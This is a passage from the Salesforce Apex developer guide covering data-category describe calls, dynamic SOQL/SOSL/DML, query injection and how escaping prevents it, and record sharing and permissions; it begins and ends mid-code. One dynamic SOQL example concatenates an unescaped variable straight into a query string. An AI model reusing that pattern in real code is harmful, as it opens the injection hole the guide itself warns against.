describeCategoryStructureResult){
//Get name of the associated Sobject
singleResult.getSobject();
174
//Get the name of the data category group

singleResult.getName();
//Get the name of the data category group

singleResult.getLabel();
//Get the description of the data category group

singleResult.getDescription();
//Get the top level categories

DataCategory [] toplevelCategories =
singleResult.getTopCategories();
//Recursively get all the categories

List<DataCategory> allCategories =
getAllCategories(toplevelCategories);
for(DataCategory category : allCategories) {

//Get the name of the category
category.getName();
//Get the label of the category

category.getLabel();
//Get the list of sub categories in the category

DataCategory [] childCategories =
category.getChildCategories();
}
}
} catch (Exception e){
}
return describeCategoryStructureResult;
}
private static DataCategory[] getAllCategories(DataCategory [] categories){

if(categories.isEmpty()){
return new DataCategory[]{};
} else {
DataCategory [] categoriesClone = categories.clone();
DataCategory category = categoriesClone[0];
DataCategory[] allCategories = new DataCategory[]{category};
categoriesClone.remove(0);
categoriesClone.addAll(category.getChildCategories());
allCategories.addAll(getAllCategories(categoriesClone));
return allCategories;
}
}
}
175
Testing Access to All Data Categories Associated with an sObject

The following example tests the describeDataCategoryGroupSample method shown earlier. It ensures that the returned
category group and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupSampleTest {
public static testMethod void describeDataCategoryGroupSampleTest(){
List<DescribeDataCategoryGroupResult>describeResult =
DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();
//Assuming that you have KnowledgeArticleVersion and Questions

//associated with only one category group 'Regions'.
System.assert(describeResult.size() == 2,
'The results should only contain two results: ' + describeResult.size());
for(DescribeDataCategoryGroupResult result : describeResult) {

//Storing the results
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure

System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
}
}
}
This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group,
categories and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupStructuresTest {
public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
System.assert(describeResult.size() == 2,
'The results should only contain 2 results: ' + describeResult.size());
//Creating category info

CategoryInfo world = new CategoryInfo('World', 'World');
CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
'North America');
176
CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',

'South America');
CategoryInfo europe = new CategoryInfo('Europe', 'Europe');
List<CategoryInfo> info = new CategoryInfo[] {

asia, northAmerica, southAmerica, europe
};
for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {

String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure

System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
DataCategory [] topLevelCategories = result.getTopCategories();

System.assert(topLevelCategories.size() == 1,
'Incorrect number of top level categories returned: ' + topLevelCategories.size());
System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&

topLevelCategories[0].getName() == world.getName());
//checking if the correct children are returned

DataCategory [] children = topLevelCategories[0].getChildCategories();
System.assert(children.size() == 4,
'Incorrect number of children returned: ' + children.size());
for(Integer i=0; i < children.size(); i++){
System.assert(children[i].getLabel() == info[i].getLabel() &&
children[i].getName() == info[i].getName());
}
}
private class CategoryInfo {

private final String name;
private final String label;
private CategoryInfo(String n, String l){

this.name = n;
this.label = l;
}
public String getName(){
177
return this.name;
}
public String getLabel(){

return this.label;
}
}
}
Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at run time with Apex code. Dynamic SOQL enables you to create more flexible
applications. For example, you can create a search based on input from an end user or update records with varying field names.
To create a dynamic SOQL query at run time, use the database query method, in one of the following ways.
• Return a single sObject when the query returns a single record:
sObject s = Database.query(string_limit_1);
• Return a list of sObjects when the query returns more than a single record:
List<sObject> sobjList = Database.query(string);
The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOQL queries are processed.
Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data
type. At run time, the system validates that the type of the query matches the declared type of the variable. If the query does not return
the correct sObject type, a run-time error is thrown. This means you do not need to cast from a generic sObject to a concrete sObject.
Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 275.
For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the Force.com SOQL and SOSL Reference.
Dynamic SOQL Considerations

You can use simple bind variables in dynamic SOQL query strings. The following is allowed:
String myTestString = 'TestName';
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name =
:myTestString');
However, unlike inline SOQL, dynamic SOQL can’t use bind variable fields in the query string. The following example isn’t supported and
results in a Variable does not exist error:
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= :myVariable.field1__c');
You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:
String resolvedField1 = myVariable.field1__c;
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= ' + resolvedField1);
178
SOQL Injection
SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOQL
statements into your code. This can occur in Apex code whenever your application relies on end user input to construct a dynamic SOQL
statement and you do not handle the input properly.
To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at run time with Apex code. Dynamic SOSL enables you to create more flexible
applications. For example, you can create a search based on input from an end user, or update records with varying field names.
To create a dynamic SOSL query at run time, use the search query method. For example:
List<List <sObject>> myQuery = search.query(SOSL_search_string);
The following example exercises a simple SOSL query string.

String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead';
List<List<SObject>>searchList=search.query(searchquery);
Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type.
The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the
results from Account are first, then Contact, then Lead.
The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOSL queries are processed.
Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 275.
For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the Force.com SOQL and SOSL Reference.
Use Dynamic SOSL to Return Snippets

To provide more context for records in search results, use the SOSL WITH SNIPPET clause. Snippets make it easier to identify the
content you’re looking for. For information about how snippets are generated, see WITH SNIPPET in the Force.com SOQL and SOSL
Reference.
To use the SOSL WITH SNIPPET clause in a dynamic SOSL query at run time, use the Search.find method.
Search.SearchResults searchResults = Search.find(SOSL_search_string);
This example exercises a simple SOSL query string that includes a WITH SNIPPET clause. The example calls System.debug()
to print the returned titles and snippets. Your code would display the titles and snippets in a Web page.
Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\')
WITH SNIPPET (target_length=120)');
List<Search.SearchResult> articlelist = searchResults.get('KnowledgeArticleVersion');
for (Search.SearchResult searchResult : articleList) {

KnowledgeArticleVersion article = (KnowledgeArticleVersion) searchResult.getSObject();
179
System.debug(article.Title);
System.debug(searchResult.getSnippet());
}
SOSL Injection
SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL
statements into your code. A SOSL injection can occur in Apex code whenever your application relies on end-user input to construct a
dynamic SOSL statement and you do not handle the input properly.
To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
SEE ALSO:
find(searchQuery)
Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert
them into the database using DML.
To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a
concrete sObject type (such as Account). For example:
// Get a new account
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();
Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast
back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and
Casting on page 95.
You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later. For
example:
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
newSObject([SELECT Id FROM Account LIMIT 1][0].Id);
See SObjectType Class.
Dynamic sObject Creation Example

This example shows how to obtain the sObject token through the Schema.getGlobalDescribe method and then creates a
new sObject using the newSObject method on the token. This example also contains a test method that verifies the dynamic creation
of an account.
public class DynamicSObjectCreation {
public static sObject createObject(String typeName) {
180
Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);

if (targetType == null) {
// throw an exception
}
// Instantiate an sObject with the type passed in as an argument

// at run time.
return targetType.newSObject();
}
}
@isTest
private class DynamicSObjectCreationTest {
static testmethod void testObjectCreation() {
String typeName = 'Account';
String acctName = 'Acme';
// Create a new sObject by passing the sObject type as an argument.

Account a = (Account)DynamicSObjectCreation.createObject(typeName);
System.assertEquals(typeName, String.valueOf(a.getSobjectType()));
// Set the account name and insert the account.
a.Name = acctName;
insert a;
// Verify the new sObject got inserted.

Account[] b = [SELECT Name from Account WHERE Name = :acctName];
system.assert(b.size() > 0);
}
}
Setting and Retrieving Field Values

Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed as a
String, or the field's token. In the following example, the API name of the field AccountNumber is used:
SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');
The following example uses the AccountNumber field's token instead:

Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(dfr.getsObjectField(), '12345');
The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the
anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any
sObject.
Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.
181
Setting and Retrieving Foreign Keys

Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a
foreign key, use the get or put methods.
To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these
methods must be used with the sObject data type, not Object. For example:
SObject c =
Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');
There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent
sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always
returns a parent object with a populated ID. If you have an ID, use it with the child object.
For example, suppose that custom object C1 has a foreign key C2__c that links to a parent custom object C2. You want to create a C1
object and have it associated with a C2 record named 'AW Computing' (assigned to the value C2__r). You do not need the ID of the
'AW Computing' record, as it is populated through the relationship of parent to child. For example:
insert new C1__c(Name = 'x', C2__r = new C2__c(Name = 'AW Computing'));
If you had assigned a value to the ID for C2__r, it would be ignored. If you do have the ID, assign it to the object (C2__c), not the
record.
You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a
parent-to-child relationship using dynamic Apex:
String queryString = 'SELECT Id, Name, ' +
'(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
for (SObject parentRecord : queryParentObject){

Object ParentFieldValue = parentRecord.get('Name');
// Prevent a null relationship from being accessed
SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
if (childRecordsFromParent != null) {
for (SObject childRecord : childRecordsFromParent){
Object ChildFieldValue1 = childRecord.get('FirstName');
Object ChildFieldValue2 = childRecord.get('LastName');
System.debug('Account Name: ' + ParentFieldValue +
'. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2);
}
}
}
Apex Security and Sharing

When you use Apex, the security of your code is critical. You'll need to add user permissions for Apex classes and enforce sharing rules.
Read on to learn about Apex managed sharing and get some security tips.
IN THIS SECTION:
Enforcing Sharing Rules
Enforcing Object and Field Permissions
182
Class Security
Understanding Apex Managed Sharing
Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing
access can be granted using the Salesforce user interface and Force.com, or programmatically using Apex.
Security Tips for Apex and Visualforce Development
Enforcing Sharing Rules

Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into
account during code execution.
Note: The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex.
executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 209.
Because these rules aren't enforced, developers who use Apex must take care that they don't inadvertently expose sensitive data that
would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. They should be particularly
careful with Web services, which can be restricted by permissions, but execute in system context once they are initiated.
Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need
access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that
apply to the current user. (For more information on sharing rules, see the Salesforce online help.)
Note: Enforcing sharing rules by using the with sharing keyword doesn’t enforce the user's permissions and field-level
security. Apex code always has access to all fields and objects in an organization, ensuring that code won’t fail to run because of
hidden fields or objects for a user.
This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesn’t. The CWithout
class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner classes, in which
code executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its without sharing
setting.
public with sharing class CWith {
// All code in this class operates with enforced sharing rules.
Account a = [SELECT . . . ];
public static void m() { . . . }
static {
. . .
}
{
. . .
}
public void c() {

. . .
}
}
public without sharing class CWithout {

// All code in this class ignores sharing rules and operates
183
// as if the context user has the Modify All Data permission.

Account a = [SELECT . . . ];
. . .
public static void m() {

. . .
// This call into CWith operates with enforced sharing rules

// for the context user. When the call finishes, the code execution
// returns to without sharing mode.
CWith.m();
}
public class CInner {

// All code in this class executes with the same sharing context
// as the code that calls it.
// Inner classes are separate from outer classes.
. . .
// Again, this call into CWith operates with enforced sharing rules
// for the context user, regardless of the class that initially called this inner
class.
// When the call finishes, the code execution returns to the sharing mode that was
used to call this inner class.
CWith.m();
}
public class CInnerWithOut extends CWithout {

// All code in this class ignores sharing rules because
// this class extends a parent class that ignores sharing rules.
}
}
Warning: There is no guarantee that a class declared as with sharing doesn't call code that operates as without
sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2 ignore the with
sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules.
Enforcing the current user's sharing rules can impact:
• SOQL and SOSL queries. A query may return fewer rows than it would operating in system context.
• DML operations. An operation may fail because the current user doesn't have the correct permissions. For example, if the user
specifies a foreign key value that exists in the organization, but which the current user does not have access to.
Enforcing Object and Field Permissions

Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into
account during code execution. The only exceptions to this rule are Apex code that is executed with the executeAnonymous call
and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 209.
Although Apex doesn't enforce object-level and field-level permissions by default, you can enforce these permissions in your code by
explicitly calling the sObject describe result methods (of Schema.DescribeSObjectResult) and the field describe result methods (of
184
Schema.DescribeFieldResult) that check the current user's access permission levels. In this way, you can verify if the current user has the
necessary permissions, and only if he or she has sufficient permissions, you can then perform a specific DML operation or a query.
For example, you can call the isAccessible, isCreateable, or isUpdateable methods of
Schema.DescribeSObjectResult to verify whether the current user has read, create, or update access to an sObject, respectively.
Similarly, Schema.DescribeFieldResult exposes these access control methods that you can call to check the current user's
read, create, or update access for a field. In addition, you can call the isDeletable method provided by
Schema.DescribeSObjectResult to check if the current user has permission to delete a specific sObject.
These are some examples of how to call the access control methods.
To check the field-level update permission of the contact's email field before updating it:
if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
// Update contact phone number
}
To check the field-level create permission of the contact's email field before creating a new contact:
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
// Create new contact
}
To check the field-level read permission of the contact's email field before querying for this field:
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}
To check the object-level permission for the contact before deleting the contact.
if (Schema.sObjectType.Contact.isDeletable()) {
// Delete contact
}
Sharing rules are distinct from object-level and field-level permissions. They can coexist. If sharing rules are defined in Salesforce, you
can enforce them at the class level by declaring the class with the with sharing keyword. For more information, see Using the
with sharing or without sharing Keywords. If you call the sObject describe result and field describe result access control methods, the
verification of object and field-level permissions is performed in addition to the sharing rules that are in effect. Sometimes, the access
level granted by a sharing rule could conflict with an object-level or field-level permission.
Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can
only set security on Apex classes, not on triggers.
To set Apex class security from the class list page:
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
4. Click Save.
To set Apex class security from the class detail page:
185
2. Click the name of the class that you want to restrict.

3. Click Security.
4. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
5. Click Save.
To set Apex class security from a permission set:
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
2. Select a permission set.
3. Click Apex Class Access.
4. Click Edit.
5. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
To set Apex class security from a profile:
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Apex Class Access page or related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.
Understanding Apex Managed Sharing

Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access
can be granted using the Salesforce user interface and Force.com, or programmatically using Apex.
For more information on sharing, see Set Your Organization-Wide Sharing Defaults in the Salesforce online help.
IN THIS SECTION:
Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact,
Opportunity and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional
access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed
sharing to grant additional access programmatically with Apex.
Sharing a Record Using Apex
Recalculating Apex Managed Sharing
Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity
and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional access based on
record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant
additional access programmatically with Apex.
186
Most sharing for a record is maintained in a related sharing object, similar to an access control list (ACL) found in other platforms.
Types of Sharing
Salesforce has the following types of sharing:
Force.com Managed Sharing
Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy, and
sharing rules:
Record Ownership
Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is automatically
granted Full Access, allowing them to view, edit, transfer, share, and delete the record.
Role Hierarchy
The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or
shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access
to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing
records. Instead, role hierarchy access is derived at runtime. For more information, see “Controlling Access Using Hierarchies” in
the Salesforce online help.
Sharing Rules
Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a
specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed
from Force.com AppExchange.
Sharing rules can be based on record ownership or other criteria. You can’t use Apex to create criteria-based sharing rules. Also,
criteria-based sharing cannot be tested using Apex.
All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API,
or Apex.
User Managed Sharing, also known as Manual Sharing
User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of
users. This is generally done by an end user, for a single record. Only the record owner and users above the owner in the role hierarchy
are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the “Modify All” object-level
permission for the given object or the “Modify All Data” permission can also manually share a record. User managed sharing is
removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the
object's organization-wide sharing default access level.
Apex Managed Sharing
Apex managed sharing provides developers with the ability to support an application’s particular sharing requirements
programmatically through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with
“Modify All Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across
record owner changes.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
The Sharing Reason Field

In the Salesforce user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field is called
rowCause in Apex or the Force.com API.
Each of the following list items is a type of sharing used for records. The tables show Reason field value, and the related rowCause
value.
187
• Force.com Managed Sharing
Reason Field Value rowCause Value (Used in Apex or the Force.com API)
Account Sharing ImplicitChild
Associated record owner or sharing ImplicitParent
Owner Owner
Opportunity Team Team
Sharing Rule Rule
Territory Assignment Rule TerritoryRule
• User Managed Sharing
Manual Sharing Manual
Territory Manual TerritoryManual
• Apex Managed Sharing
Defined by developer Defined by developer
The displayed reason for Apex managed sharing is defined by the developer.
Access Levels
When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the following
access levels:
Access Level API Name Description

Private None Only the record owner and users above the record owner in the role hierarchy
can view and edit the record. This access level only applies to the AccountShare
object.
Read Only Read The specified user or group can view the record only.
Read/Write Edit The specified user or group can view and edit the record.
Full Access All The specified user or group can view, edit, transfer, share, and delete the record.
Note: This access level can only be granted with Force.com managed
sharing.
188
Sharing Considerations
Apex Triggers and User Record Sharing
If a trigger changes the owner of a record, the running user must have read access to the new owner’s user record if the trigger is
started through the following:
• API
• Standard user interface
• Standard Visualforce controller
• Class defined with the with sharing keyword
If a trigger is started through a class that’s not defined with the with sharing keyword, the trigger runs in system mode. In
this case, the trigger doesn’t require the running user to have specific access.
Sharing a Record Using Apex

To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want
to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object for the Contact
object. In addition, all custom object sharing objects are named as follows, where MyCustomObject is the name of the custom
object:
MyCustomObject__Share
Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail record’s access is determined
by the master’s sharing object and the relationship’s sharing setting. For more information, see “Custom Object Security” in the Salesforce
online help.
A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and Apex
managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as
the “View All” and “Modify All” permissions for the given object, “View All Data,” and “Modify All Data” are not tracked with this object.
Every share object has the following properties:
Property Name Description

objectNameAccessLevel The level of access that the specified user or group has been granted for a share sObject. The name
of the property is AccessLevel appended to the object name. For example, the property name
for LeadShare object is LeadShareAccessLevel. Valid values are:
• Edit
• Read
• All
Note: The All access level can only be used by Force.com managed sharing.
This field must be set to an access level that is higher than the organization’s default access level for
the parent object. For more information, see Understanding Sharing on page 186.
ParentID The ID of the object. This field cannot be updated.
RowCause The reason why the user or group is being granted access. The reason determines the type of sharing,
which controls who can alter the sharing record. This field cannot be updated.
UserOrGroupId The user or group IDs to which you are granting access. A group can be
• a public group or a sharing group associated with a role
189
Property Name Description

• a territory group if you use the original version of Territory Management, but not with Enterprise
Territory Management
This field cannot be updated.
You can share a standard or custom object with users or groups. For more information about the types of users and groups you can
share an object with, see User and Group in the Object Reference for Salesforce and Force.com.
Creating User Managed Sharing Using Apex

It is possible to manually share a record to a user or a group using Apex or the SOAP API. If the owner of the record changes, the sharing
is automatically deleted. The following example class contains a method that shares the job specified by the job ID with the specified
user or group ID with read access. It also includes a test method that validates this method. Before you save this example class, create a
custom object called Job.
Note: Manual shares written using Apex contains RowCause="Manual" by default. Only shares with this condition are
removed when ownership changes.
public class JobSharing {
public static boolean manualShareRead(Id recordId, Id userOrGroupId){

// Create new sharing object for the custom object Job.
Job__Share jobShr = new Job__Share();
// Set the ID of record being shared.

jobShr.ParentId = recordId;
// Set the ID of user or group being granted access.

jobShr.UserOrGroupId = userOrGroupId;
// Set the access level.

jobShr.AccessLevel = 'Read';
// Set rowCause to 'manual' for manual sharing.

// This line can be omitted as 'manual' is the default value for sharing objects.
jobShr.RowCause = Schema.Job__Share.RowCause.Manual;
// Insert the sharing record and capture the save result.

// The false parameter allows for partial processing if multiple records passed
// into the operation.
Database.SaveResult sr = Database.insert(jobShr,false);
// Process the save results.

if(sr.isSuccess()){
// Indicates success
return true;
}
else {
// Get first save result error.
Database.Error err = sr.getErrors()[0];
190
// Check if the error is related to trival access level.

// Access level must be more permissive than the object's default.
// These sharing records are not required and thus an insert exception is
acceptable.
if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION &&
err.getMessage().contains('AccessLevel')){
// Indicates success.
return true;
}
else{
// Indicates failure.
return false;
}
}
}
@isTest
private class JobSharingTest {
// Test for the manualShareRead method
static testMethod void testManualShareRead(){
// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
Id User1Id = users[0].Id;
Id User2Id = users[1].Id;
// Create new job.

Job__c j = new Job__c();
j.Name = 'Test Job';
j.OwnerId = user1Id;
insert j;
// Insert manual share for user who is not record owner.

System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);
// Query job sharing records.

List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel,
RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];
// Test for only one manual share on job.

System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');
// Test attributes of manual share.

System.assertEquals(jShrs[0].AccessLevel, 'Read');
System.assertEquals(jShrs[0].RowCause, 'Manual');
System.assertEquals(jShrs[0].UserOrGroupId, user2Id);
// Test invalid job Id.

delete j;
// Insert manual share for deleted job id.

System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
191
}
}
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 186.
Creating Apex Managed Sharing

Apex managed sharing enables developers to programmatically manipulate sharing to support their application’s behavior through
Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with “Modify All Data” permission can
add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.
Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared a record
with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of
sharing records. They also enable developers to share with the same user or group multiple times using different reasons.
Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:
• The label displays in the Reason column when viewing the sharing for a record in the user interface. This label allows users and
administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench.
• The name is used when referencing the reason in the API and Apex.
All Apex sharing reason names have the following format:
MyReasonName__c
Apex sharing reasons can be referenced programmatically as follows:
Schema.CustomObject__Share.rowCause.SharingReason__c
For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c
For more information, see Schema Class on page 2739.

To create an Apex sharing reason:
1. From the management settings for the custom object, click New in the Apex Sharing Reasons related list.
2. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the
user interface. The label is also enabled for translation through the Translation Workbench.
3. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain
only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. Click Save.
Apex Managed Sharing Example

For this example, suppose that you are building a recruiting application and have an object called Job. You want to validate that the
recruiter and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and hiring manager
access when the job record is created. This example requires a custom object called Job, with two lookup fields associated with User
192
records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager
and Recruiter.
trigger JobApexSharing on Job__c (after insert) {
if(trigger.isInsert){
// Create a new list of sharing objects for Job
List<Job__Share> jobShrs = new List<Job__Share>();
// Declare variables for recruiting and hiring manager sharing

Job__Share recruiterShr;
Job__Share hmShr;
for(Job__c job : trigger.new){

// Instantiate the sharing objects
recruiterShr = new Job__Share();
hmShr = new Job__Share();
// Set the ID of record being shared

recruiterShr.ParentId = job.Id;
hmShr.ParentId = job.Id;
// Set the ID of user or group being granted access

recruiterShr.UserOrGroupId = job.Recruiter__c;
hmShr.UserOrGroupId = job.Hiring_Manager__c;
// Set the access level

recruiterShr.AccessLevel = 'edit';
hmShr.AccessLevel = 'read';
// Set the Apex sharing reason for hiring manager and recruiter
recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add objects to list for insert

jobShrs.add(recruiterShr);
jobShrs.add(hmShr);
}
